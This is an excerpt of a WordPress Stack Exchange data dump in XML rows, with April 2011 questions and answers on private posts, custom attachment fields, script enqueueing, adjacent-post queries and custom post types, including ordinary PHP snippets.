  <row Id="14496" PostTypeId="2" ParentId="14484" CreationDate="2011-04-11T16:40:28.543" Score="2" ViewCount="" Body="&lt;p&gt;iTunes &lt;a href=&quot;http://www.apple.com/itunes/podcasts/specs.html&quot; rel=&quot;nofollow&quot;&gt;uses extra tags&lt;/a&gt; for author information, category classification, ... I believe &lt;a href=&quot;http://en.forums.wordpress.com/topic/podcast-feed-for-itunes-in-wordpresscom&quot; rel=&quot;nofollow&quot;&gt;you can't add these using WordPress.com&lt;/a&gt;. What you can do is pick up your feed using FeedBurner and submit that URL to iTunes instead. FeedBurner has support for podcasts and allows you to fill in the extra iTunes tags.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-11T16:40:28.543" CommentCount="2" />
  <row Id="14497" PostTypeId="1" CreationDate="2011-04-11T17:09:05.440" Score="0" ViewCount="91" Body="&lt;p&gt;I have a public blog but would like to have a section just for my own private notes? What is the easiest way to do this? Is there a way to make an entire category of post private?&lt;/p&gt;&#xA;" OwnerUserId="2440" LastActivityDate="2011-05-11T18:45:15.037" Title="Manage Private Posts" Tags="&lt;posts&gt;&lt;private&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="14498" PostTypeId="2" ParentId="14497" CreationDate="2011-04-11T17:23:49.910" Score="1" ViewCount="" Body="&lt;p&gt;You could perhaps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create the category for your Private posts, e.g. &quot;Private&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Exclude the &quot;Private&quot; category from your main Loop&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Output the &quot;Private&quot; category using a custom template file, e.g. &lt;code&gt;category-private.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Wrap the Loop in &lt;code&gt;category-private.php&lt;/code&gt; in an &lt;code&gt;if ( is_user_logged_in() )&lt;/code&gt; conditional&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This assumes, of course, that you are the only user of your site. You will need to modify if you have additional users.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDITED TO ADD:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Wrap the Loop in &lt;code&gt;single.php&lt;/code&gt; in an `if ( is_user_logged_in() || ! is_category( 'private' ) ) conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) Add an &lt;code&gt;exclude=#' argument, where&lt;/code&gt;#&lt;code&gt;is the Category ID of the &quot;Private&quot; Category, to any call to&lt;/code&gt;wp_list_categories()`.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-11T18:14:14.660" LastActivityDate="2011-04-11T18:14:14.660" CommentCount="3" />
  <row Id="14499" PostTypeId="2" ParentId="14477" CreationDate="2011-04-11T17:26:04.580" Score="0" ViewCount="" Body="&lt;p&gt;I use blogzapper to clone WordPress installations and it works surprisingly well.  It costs around $30.  I use it t0 try out new code on clone sites before migrating to a live site.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will clone your whole install, and then you would have to manually delete your content, but it should still save you loads of time.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.datasystemsplus.net/blog-zapper&quot; rel=&quot;nofollow&quot;&gt;http://www.datasystemsplus.net/blog-zapper&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-04-11T17:26:04.580" />
  <row Id="14500" PostTypeId="1" AcceptedAnswerId="14509" CreationDate="2011-04-11T17:32:44.307" Score="2" ViewCount="498" Body="&lt;p&gt;is it possible to add extra fields via the functions.php script for attachments in wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried loads of examples but none seem to work. Worried an existing plugin might be affecting my attempts but its not clear if its even possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best, dan.&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-04-11T19:16:02.340" Title="custom fields for attachments?" Tags="&lt;attachments&gt;&lt;add-meta-box&gt;" AnswerCount="4" />
  <row Id="14501" PostTypeId="2" ParentId="14500" CreationDate="2011-04-11T17:42:37.577" Score="1" ViewCount="" Body="&lt;p&gt;You need to use the &lt;code&gt;update_post_meta()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/update_post_meta&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;) function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php update_post_meta($post_id, $meta_key, $meta_value, $prev_value); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are you trying to do, that isn't working?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-11T18:44:23.570" LastActivityDate="2011-04-11T18:44:23.570" CommentCount="4" />
  <row Id="14502" PostTypeId="1" AcceptedAnswerId="14590" CreationDate="2011-04-11T17:52:11.697" Score="1" ViewCount="171" Body="&lt;p&gt;I have 7 posts, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1&lt;br/&gt;&#xA;2&lt;br/&gt;&#xA;3&lt;br/&gt;&#xA;4 - this is the current post&lt;br/&gt;&#xA;5&lt;br/&gt;&#xA;6&lt;br/&gt;&#xA;7&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As noted, number four is the current post being displayed. I need to create a query that will allow me to display the previous 3 posts (by publication date) and also the three posts after. This can be done with two separate queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been able to display the immediately previous or next post, just not the ones further down / up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-04-12T17:05:59.823" Title="Get Next / Prev 3 Posts in Relation to Current Post" Tags="&lt;posts&gt;&lt;previous&gt;&lt;next&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="0" />
  <row Id="14503" PostTypeId="2" ParentId="14500" CreationDate="2011-04-11T17:55:46.307" Score="1" ViewCount="" Body="&lt;p&gt;Here is a very good tutorial (with source files), explains how to add custom fields for images, attachments, textareas...and everything else you may need for your posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-04-11T17:55:46.307" CommentCount="2" />
  <row Id="14504" PostTypeId="1" AcceptedAnswerId="18761" CreationDate="2011-04-11T18:08:40.737" Score="2" ViewCount="172" Body="&lt;p&gt;This question is a little different then the others floating around here. The most similar one is &quot;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/11945/how-to-get-the-parents-taxonomy&quot;&gt;How to get the parent's taxonomy ?&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a music cms setup that utilizes two post types: &lt;em&gt;album&lt;/em&gt; and &lt;em&gt;album media&lt;/em&gt; and a few taxonomies: &lt;em&gt;genre&lt;/em&gt;, &lt;em&gt;year&lt;/em&gt;, and &lt;em&gt;artist&lt;/em&gt;. In the footer of every &lt;em&gt;single-album.php&lt;/em&gt; post I want to display the corresponding &lt;em&gt;album media&lt;/em&gt; template and do this dynamically. There is only one &lt;em&gt;album media&lt;/em&gt; post for every one &lt;em&gt;album&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both post types are associated with the three taxonomies. How can I write a loop inside another loop that automatically/dynamically obtains the associated taxonomies of it's parent post type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: An &lt;em&gt;album&lt;/em&gt; called &quot;Dark Side of the Moon&quot; is associated with taxonomies rock, 1973, and Pink Floyd. The &lt;em&gt;album media&lt;/em&gt; &quot;Dark Side of the Moon&quot; is associated with the same taxonomies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the main loop in &lt;em&gt;single-album.php&lt;/em&gt; is another loop that looks for what three taxonomies the &lt;em&gt;album&lt;/em&gt; is associated with and constructs a loop for &quot;album-media&quot;. The contents of this loop could also be displayed as &lt;em&gt;single-albummedia.php&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done? I have the feeling that I am over-thinking this   :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things this question involves:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;multiple taxonomy query&lt;/li&gt;&#xA;&lt;li&gt;loop within a loop&lt;/li&gt;&#xA;&lt;li&gt;custom taxonomies and post types&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-05-30T23:16:59.387" Title="How to dynamically build a multiple taxonomy query loop within a post type's single loop?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;loop&gt;&lt;custom-loop&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="14505" PostTypeId="1" AcceptedAnswerId="15074" CreationDate="2011-04-11T18:08:57.033" Score="1" ViewCount="162" Body="&lt;p&gt;I want to include a slider in the default Wordpress theme on the home page. I did manage to get the page to show using &lt;code&gt;&amp;lt;?php if ( is_home() ) { include ('slider.php'); } ?&amp;gt;&lt;/code&gt; but it doesn't look like it's loading the jquery script it needs or the style sheet. I know there's a conflict with scripts and Wordpress, I just don't know how to get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample page is at &lt;a href=&quot;http://axiomwest.com/&quot; rel=&quot;nofollow&quot;&gt;http://axiomwest.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you feed in a page with it's own style sheet and scripts?&lt;/p&gt;&#xA;" OwnerUserId="4596" LastActivityDate="2011-04-18T20:07:39.227" Title="What's the correct way to include files in Wordpress TwentyTen theme with it's own jquery scripts and css?" Tags="&lt;include&gt;&lt;theme-twenty-ten&gt;" AnswerCount="2" />
  <row Id="14506" PostTypeId="2" ParentId="14483" CreationDate="2011-04-11T18:11:28.850" Score="2" ViewCount="" Body="&lt;p&gt;WordPress.com is a proprietary installation of WordPress owned and run by Automattic. They have their support forums. You can buy the privilege of making CSS modifications from them, but as far as I know, they do not allow theme submission, at least not for free. You should look into going self hosted if you want to use your own themes.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-11T18:11:28.850" />
  <row Id="14507" PostTypeId="2" ParentId="14505" CreationDate="2011-04-11T18:21:30.303" Score="3" ViewCount="" Body="&lt;p&gt;You need to have the script in a separate file (normally it would be filename.js; I suppose filename.php would work?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you need to register and enqueue that script file, using &lt;code&gt;wp_register_script()&lt;/code&gt; and &lt;code&gt;wp_enqueue_script()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_register_custom_scripts() {&#xA;    if ( ! is_admin() ) {&#xA;        $scriptsrc = get_stylesheet_directory_uri() . '/scripts/filename.js';&#xA;        wp_register_script( 'mytheme_slider', $scriptsrc );&#xA;    }&#xA;}&#xA;add_action( 'after_setup_theme', 'mytheme_register_custom_scripts' );&#xA;&#xA;function mytheme_enqueue_custom_scripts() {&#xA;    if ( is_home() ) {&#xA;        wp_enqueue_script( 'mytheme_slider' );&#xA;    }&#xA;}&#xA;add_action( 'wp_enqueue_scripts', 'mytheme_enqueue_custom_scripts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that registering the script should happen at &lt;code&gt;after_setup_theme&lt;/code&gt;, but &lt;code&gt;is_home()&lt;/code&gt; will not be available at this point I don't think, which is why you need to separate the enqueueing function so that it hooks into &lt;code&gt;wp_head&lt;/code&gt;, by which time &lt;code&gt;is_home()&lt;/code&gt; is available.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-11T20:28:33.490" LastActivityDate="2011-04-11T20:28:33.490" CommentCount="7" />
  <row Id="14508" PostTypeId="2" ParentId="14497" CreationDate="2011-04-11T18:26:36.730" Score="1" ViewCount="" Body="&lt;p&gt;Try this: &lt;a href=&quot;http://wordpress.org/extend/plugins/private-suite/&quot; rel=&quot;nofollow&quot;&gt;Private Suite&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Allows you to choose who can read private content and offers better control of privacy features.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-11T18:26:36.730" />
  <row Id="14509" PostTypeId="2" ParentId="14500" CreationDate="2011-04-11T18:34:08.350" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wpveda.com/adding-custom-fields-to-wordpress-media-gallery-upload/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is a tutorial that shows how to add custom fields to the attachments/media gallery/thickbox/iframe/whatever-you-call it overlay.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've successfully used it, but have not yet taken it much further by adding radio buttons/checkboxes/etc or messed with limiting the changes to particular post types, but that all looks completely doable too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code from the link above, just in case it disappears some day:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) 'attachment_fields_to_edit' : We will attach a function to this hook which will do the job of adding a custom field to Media Gallery.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* For adding custom field to gallery popup */&#xA;function rt_image_attachment_fields_to_edit($form_fields, $post) {&#xA;    // $form_fields is a an array of fields to include in the attachment form&#xA;    // $post is nothing but attachment record in the database&#xA;    //     $post-&amp;gt;post_type == 'attachment'&#xA;    // attachments are considered as posts in WordPress. So value of post_type in wp_posts table will be attachment&#xA;    // now add our custom field to the $form_fields array&#xA;    // input type=&quot;text&quot; name/id=&quot;attachments[$attachment-&amp;gt;ID][custom1]&quot;&#xA;    $form_fields[&quot;rt-image-link&quot;] = array(&#xA;        &quot;label&quot; =&amp;gt; __(&quot;Custom Link&quot;),&#xA;        &quot;input&quot; =&amp;gt; &quot;text&quot;, // this is default if &quot;input&quot; is omitted&#xA;        &quot;value&quot; =&amp;gt; get_post_meta($post-&amp;gt;ID, &quot;_rt-image-link&quot;, true),&#xA;                &quot;helps&quot; =&amp;gt; __(&quot;To be used with special slider added via [rt_carousel] shortcode.&quot;),&#xA;    );&#xA;   return $form_fields;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) 'attachment_fields_to_save' : This in turn will accept and save the user input.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// now attach our function to the hook&#xA;add_filter(&quot;attachment_fields_to_edit&quot;, &quot;rt_image_attachment_fields_to_edit&quot;, null, 2);&#xA;&#xA;    function rt_image_attachment_fields_to_save($post, $attachment) {&#xA;    // $attachment part of the form $_POST ($_POST[attachments][postID])&#xA;        // $post['post_type'] == 'attachment'&#xA;    if( isset($attachment['rt-image-link']) ){&#xA;        // update_post_meta(postID, meta_key, meta_value);&#xA;        update_post_meta($post['ID'], '_rt-image-link', $attachment['rt-image-link']);&#xA;    }&#xA;    return $post;&#xA;}&#xA;// now attach our function to the hook.&#xA;add_filter(&quot;attachment_fields_to_save&quot;, &quot;rt_image_attachment_fields_to_save&quot;, null , 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2807" LastActivityDate="2011-04-11T18:34:08.350" CommentCount="2" />
  <row Id="14510" PostTypeId="2" ParentId="14502" CreationDate="2011-04-11T18:45:41.573" Score="0" ViewCount="" Body="&lt;p&gt;I don't think you can do this with a straight-up WP_Query(). Off the top of my head, I would probably:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make a new query&lt;/li&gt;&#xA;&lt;li&gt;ask for all the posts you're looking for (by category/tag/etc.)&lt;/li&gt;&#xA;&lt;li&gt;dump them into an array&lt;/li&gt;&#xA;&lt;li&gt;find your post by its ID, and then&lt;/li&gt;&#xA;&lt;li&gt;grab the surrounding posts if they exist&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's an example of how this could work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$findID = get_the_ID();&#xA;&#xA;$n = new WP_Query( array( 'posts_per_page=-1' ) );&#xA;&#xA;$postsArray = array();&#xA;&#xA;if ( $n-&amp;gt;have_posts() ) while ( $n-&amp;gt;have_posts() ) : $n-&amp;gt;the_post();&#xA;    $postsArray[] = get_the_ID();&#xA;endwhile;&#xA;&#xA;$n = null;&#xA;&#xA;if ( in_array( $findID, $postsArray ) )&#xA;{&#xA;    $prevItems = array();&#xA;    $nextItems = array();&#xA;&#xA;    $pos = array_search( $findID, $postsArray );&#xA;&#xA;    if ( array_key_exists( $pos - 3, $postsArray ) )&#xA;        $prevItems[0] = $postsArray[$pos - 3];&#xA;&#xA;    if ( array_key_exists( $pos - 2, $postsArray ) )&#xA;        $prevItems[1] = $postsArray[$pos - 2];&#xA;&#xA;    if ( array_key_exists( $pos - 1, $postsArray ) )&#xA;        $prevItems[2] = $postsArray[$pos - 1];&#xA;&#xA;    if ( array_key_exists( $pos + 1, $postsArray ) )&#xA;        $nextItems[0] = $postsArray[$pos + 1];&#xA;&#xA;    if ( array_key_exists( $pos + 2, $postsArray ) )&#xA;        $nextItems[1] = $postsArray[$pos + 2];&#xA;&#xA;    if ( array_key_exists( $pos + 3, $postsArray ) )&#xA;        $nextItems[2] = $postsArray[$pos + 3];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This creates both a &lt;code&gt;$prevItems&lt;/code&gt; and &lt;code&gt;$nextItems&lt;/code&gt; array, if there are posts which fit that bill. The arrays are filled with the IDs of the posts.&lt;/p&gt;&#xA;" OwnerUserId="2984" LastEditorUserId="2984" LastEditorDisplayName="" LastEditDate="2011-04-11T18:51:38.590" LastActivityDate="2011-04-11T18:51:38.590" CommentCount="2" />
  <row Id="14511" PostTypeId="1" CreationDate="2011-04-11T19:13:52.057" Score="2" ViewCount="46" Body="&lt;p&gt;I am creating a custom content type and on the add new page and edit page the &lt;em&gt;editor&lt;/em&gt; is currently showing up when I have it coded not to be there. This was working fine about a week ago and I'm unsure what went wrong. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code from my functions page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'recipe_register');&#xA;&#xA;function recipe_register() {&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('Recipes', 'post type general recipe'),&#xA;        'singular_name' =&amp;gt; _x('Person', 'post type singular name'),&#xA;        'add_new' =&amp;gt; _x('Add New Recipe', 'recipe'),&#xA;        'add_new_recipe' =&amp;gt; __('Add New Recipe'),&#xA;        'edit_recipe' =&amp;gt; __('Edit Recipe'),&#xA;        'new_recipe' =&amp;gt; __('New Recipe'),&#xA;        'view_recipe' =&amp;gt; __('View Recipe'),&#xA;        'search_recipes' =&amp;gt; __('Search Recipes'),&#xA;        'not_found' =&amp;gt;  __('Nothing found'),&#xA;        'not_found_in_trash' =&amp;gt; __('Nothing found in Trash'),&#xA;        'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array(&quot;slug&quot; =&amp;gt; &quot;recipes&quot;),&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'supports' =&amp;gt; array('title','author','thumbnail')&#xA;      ); &#xA;&#xA;&#xA;    register_post_type('recipe',$args);&#xA;&#xA;    register_taxonomy('type','recipe',array(&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'label' =&amp;gt; 'Type',&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'type' ),&#xA;    ));&#xA;}&#xA;&#xA;&#xA;&#xA;add_action( 'init', 'create_post_type' );&#xA;function create_post_type() {&#xA;    register_post_type( 'recipe',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Recipe' ),&#xA;                'singular_name' =&amp;gt; __( 'Recipe' )&#xA;            ),&#xA;            'public' =&amp;gt; true,&#xA;            'has_archive' =&amp;gt; true,&#xA;            'rewrite' =&amp;gt; array('slug' =&amp;gt; 'recipe')&#xA;        )&#xA;    );&#xA;}&#xA;&#xA;&#xA;add_action(&quot;admin_init&quot;, &quot;admin_init&quot;);&#xA;&#xA;function admin_init(){&#xA;    add_meta_box(&quot;recipedetails_meta&quot;, &quot;Recipe Information&quot;, &quot;recipe_meta&quot;,  &quot;recipe&quot;, &quot;normal&quot;, &quot;low&quot;);&#xA;}&#xA;&#xA;function recipe_meta() {&#xA;  global $post;&#xA;  $custom = get_post_custom($post-&amp;gt;ID);&#xA;  $name = $custom[&quot;recipe_name&quot;][0];&#xA;  $yield = $custom[&quot;recipe_yield&quot;][0];&#xA;  $time = $custom[&quot;recipe_time&quot;][0];&#xA;  $ingredients = $custom[&quot;recipe_ingredients&quot;][0];&#xA;  $directions = $custom[&quot;recipe_directions&quot;][0];&#xA;  $calories = $custom[&quot;recipe_calories&quot;][0];&#xA;  $done = $custom[&quot;recipe_done&quot;][0];&#xA;  $original = $custom[&quot;recipe_original&quot;][0];&#xA;  ?&amp;gt;  &#xA;&#xA;    &amp;lt;div id='peoplemanager_form_container'&amp;gt;&#xA;&#xA;        &amp;lt;div id='shortanswers'&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Name&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input name=&quot;recipe_name&quot; value=&quot;&amp;lt;?php echo $name; ?&amp;gt;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Yield&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input name=&quot;recipe_yield&quot; value=&quot;&amp;lt;?php echo $yield; ?&amp;gt;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Time&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input name=&quot;recipe_time&quot; value=&quot;&amp;lt;?php echo $time; ?&amp;gt;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Calories&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input name=&quot;recipe_calories&quot; value=&quot;&amp;lt;?php echo $calories; ?&amp;gt;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;URL&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input name=&quot;recipe_fat&quot; value=&quot;&amp;lt;?php echo $done; ?&amp;gt;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Original&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input name=&quot;recipe_original&quot; value=&quot;&amp;lt;?php echo $original; ?&amp;gt;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Ingredients:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;textarea cols=&quot;50&quot; rows=&quot;5&quot; name=&quot;recipe_ingredients&quot;&amp;gt;&amp;lt;?php echo $ingredients; ?&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Directions:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;textarea cols=&quot;50&quot; rows=&quot;5&quot; name=&quot;recipe_directions&quot;&amp;gt;&amp;lt;?php echo $directions; ?&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php&#xA;}&#xA;&#xA;add_action('save_post', 'save_details');&#xA;&#xA;function save_details(){&#xA;  global $post;&#xA;&#xA;  update_post_meta($post-&amp;gt;ID, &quot;recipe_name&quot;, $_POST[&quot;recipe_name&quot;]);&#xA;  update_post_meta($post-&amp;gt;ID, &quot;recipe_yield&quot;, $_POST[&quot;recipe_yield&quot;]);&#xA;  update_post_meta($post-&amp;gt;ID, &quot;recipe_time&quot;, $_POST[&quot;recipe_time&quot;]);&#xA;  update_post_meta($post-&amp;gt;ID, &quot;recipe_ingredients&quot;, $_POST[&quot;recipe_ingredients&quot;]);&#xA;  update_post_meta($post-&amp;gt;ID, &quot;recipe_directions&quot;, $_POST[&quot;recipe_directions&quot;]);&#xA;  update_post_meta($post-&amp;gt;ID, &quot;recipe_calories&quot;, $_POST[&quot;recipe_calories&quot;]);&#xA;  update_post_meta($post-&amp;gt;ID, &quot;recipe_done&quot;, $_POST[&quot;recipe_done&quot;]);&#xA;}&#xA;&#xA;&#xA;&#xA;add_filter('manage_edit-recipe_columns', 'add_recipe_columns');&#xA;&#xA;function add_recipe_columns($gallery_columns) {&#xA;    $new_columns['cb'] = '&amp;lt;input type=&quot;checkbox&quot; /&amp;gt;';&#xA;    $new_columns['title'] = _x('Recipe', 'column name');&#xA;    $new_columns['calories'] = __('Calories');&#xA;    $new_columns['time'] = __('Time');&#xA;    $new_columns['type'] = __('Type');&#xA;    return $new_columns;&#xA;}&#xA;&#xA;&#xA;add_action('manage_recipe_posts_custom_column', 'manage_recipe_columns', 10, 2);&#xA;&#xA;function manage_recipe_columns($column_name, $id) {&#xA;    global $post;&#xA;    switch ($column_name) {&#xA;        case 'calories':&#xA;            echo get_post_meta( $post-&amp;gt;ID , 'recipe_calories' , true ); &#xA;            break;&#xA;        case 'time': &#xA;            echo get_post_meta( $post-&amp;gt;ID, 'recipe_time' , true );&#xA;            break;&#xA;        case 'type':&#xA;            echo get_the_term_list($post-&amp;gt;ID, 'type', '', ', ','');&#xA;            break;&#xA;&#xA;        default:&#xA;            break;&#xA;    } &#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4597" LastActivityDate="2011-04-13T06:58:51.867" Title="Why is the editor showing up in custom post type?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14512" PostTypeId="2" ParentId="14500" CreationDate="2011-04-11T19:16:02.340" Score="0" ViewCount="" Body="&lt;p&gt;You will find good sample code in the answers to question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3097/how-can-i-add-a-url-field-to-the-attachments-window/3108#3108&quot;&gt;How can I add a URL field to the attachments window?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-11T19:16:02.340" />
  <row Id="14513" PostTypeId="2" ParentId="14493" CreationDate="2011-04-11T19:23:15.977" Score="8" ViewCount="" Body="&lt;h3&gt;Andrew,&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Matt Mullenweg uses a similar feature on on his blog, &lt;a href=&quot;http://ma.tt&quot; rel=&quot;nofollow&quot;&gt;Ma.tt&lt;/a&gt;, that lets users tag photos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/sIAmv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He released the code as a plugin, &lt;a href=&quot;http://wordpress.org/extend/plugins/matts-community-tags/&quot; rel=&quot;nofollow&quot;&gt;Matts Community Tags&lt;/a&gt;.  You will have to create a custom taxonomy for the tags and add some additional code to your templates to make it work.  See the &lt;a href=&quot;http://wordpress.org/support/topic/matts-community-tags-installation-instructions?replies=32&quot; rel=&quot;nofollow&quot;&gt;discussion on the WordPress.org forums&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-11T19:23:15.977" />
